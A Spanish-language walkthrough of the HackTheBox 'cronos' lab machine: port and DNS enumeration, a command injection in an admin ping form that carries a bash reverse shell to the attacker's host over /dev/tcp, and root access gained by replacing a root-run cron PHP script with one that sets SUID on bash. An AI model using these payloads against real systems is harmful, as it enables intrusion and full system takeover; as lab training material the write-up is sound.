HTB cronos

¡Hola! En esta ocasión vamos a resolver de la máquina cronos de HackTheBox. La máquina es nivel “Medium”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!

PREPARACIÓN

Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre cronos y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.

mkhack cronos
cd !$/recon

RECONOCIMIENTO

Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl time to live de una traza ICMP.

osping 10.10.10.13
 
[*] Detectando sistema operativo ...

[+] 10.10.10.13 ttl=63 >> Linux

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.13 -oG ports | grep open
#Resultados
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.

nmap -p22,53,80 -sCV 10.10.10.13 -oG versions
#Resultados
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

RECONOCIMIENTO WEB

Iniciamos con el reconocimiento del puerto 80 por medio de la utilidad whatweb para identificar software que sea potencialmente vulnerable o de utilidad para nosotros.

whatweb 10.10.10.13
#Resultados
http://10.10.10.13 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.13], Title[Apache2 Ubuntu Default Page: It works]

Realizamos un descubrimiento con nslookup para identificar DNS asociados a la dirección IP.

nslookup
> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
> 10.10.10.13
13.10.10.10.in-addr.arpa	name = ns1.cronos.htb.

Podemos evidenciar el DNS cronos.htb, por lo que vamos a agregar en el ficheros /etc/hosts esta información.

sudo vim /etc/hosts
#AGREGAR
10.10.10.13     cronos.htb

Ya podemos evidenciar un poco más de información en la pagina web, sin embargo vamos a hacer uso de la utilidad dig, para identificar subdominios de nuestro objetivo.

dig @10.10.10.13 cronos.htb axfr
#RESULTADOS
; <<>> DiG 9.16.15-Debian <<>> @10.10.10.13 cronos.htb axfr
; (1 server found)
;; global options: +cmd
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.		604800	IN	NS	ns1.cronos.htb.
cronos.htb.		604800	IN	A	10.10.10.13
admin.cronos.htb.	604800	IN	A	10.10.10.13
ns1.cronos.htb.		604800	IN	A	10.10.10.13
www.cronos.htb.		604800	IN	A	10.10.10.13
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800

Vamos a realizar el mismo procedimiento anterior, pero esta vez vamos a agregar el subdominio admin.cronos.htb.

sudo vim /etc/hosts
#AGREGAR
10.10.10.13     cronos.htb admin.cronos.htb

WEB EXPLOIT + INTRUSION

Ahora que tenemos dominios y subdominios, procedemos a investigar un poco y encontramos un portal de acceso en el subdominio admin.cronos.htb al cual intentamos realizar un ataque SQLi exitoso.

Al acceder podemos ver que podemos ejecutar el comando traceroute o ping a un objetivo especifico, por lo que vamos a tomar provecho de esta funcionalidad para ejecutar una reverse shell en bash.

Generamos un listener

nc -lnvp 4564

Ejecutamos la reverse shell en el campo de la pagina web y le damos enter para que ejecute el comando.

8.8.8.8; bash -c "bash -i >& /dev/tcp/10.10.14.2/4564 0>&1"

Reverse shell obtenida

#OUTPUT
www-data@cronos:/var/www/admin$ whoami
www-data

ESCALADA DE PRIVILEGIOS

Una vez que tenemos acceso a la máquina, realizamos el escalamiento de privilegios, en este caso, revisando las tareas cron.

cat /etc/crobtab
#Resultados
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *	root	php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

Como podemos ver en los resultados anteriores, identificamos que artisan es una tarea que se ejecuta cada minuto con el usuario root, hay que tener en cuenta que tenemos acceso directamente a la ruta donde se ejecuta este script de php, por lo que simplemente vamos a eliminar el archivo artisan y generar uno nuevo habilitando con la funcion system el permiso SUID de bash, para finalmente aprovecharnos de este permiso configurado y obtener una shell de un usuario administrador.

Eliminar el archivo artisan

rm /var/www/laravel/artisan

Crear el nuevo archivo artisan

nano /var/www/laravel/artisan
<?php
        system("chmod u+s /bin/bash");
?>

Monitoreo del permiso SUID de /bin/bash

www-data@cronos:/dev/shm$ watch -n 1 ls -la /bin/bash
-rwxr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash -> SIN SUID
-rwsr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash -> CON SUID

Aprovechando el permiso SUID

www-data@cronos:/dev/shm$ bash -p
#Resultados
bash-4.3# whoami
root

FLAGS

Una vez tenemos acceso a la máquina, tenemos la posibilidad de leer la flag user y root

#USER
bash-4.3# find / -name user.txt 2>/dev/null | xargs head -c 10; echo
6394a949f7
#ROOT
bash-4.3# find / -name root.txt 2>/dev/null | xargs head -c 10; echo
4491f4cbdd

¡Hemos logrado completar la máquina cronos de HackTheBox!

¡Que tengan un buen día en el planeta donde se encuentren!

Nos vemos en otro bit..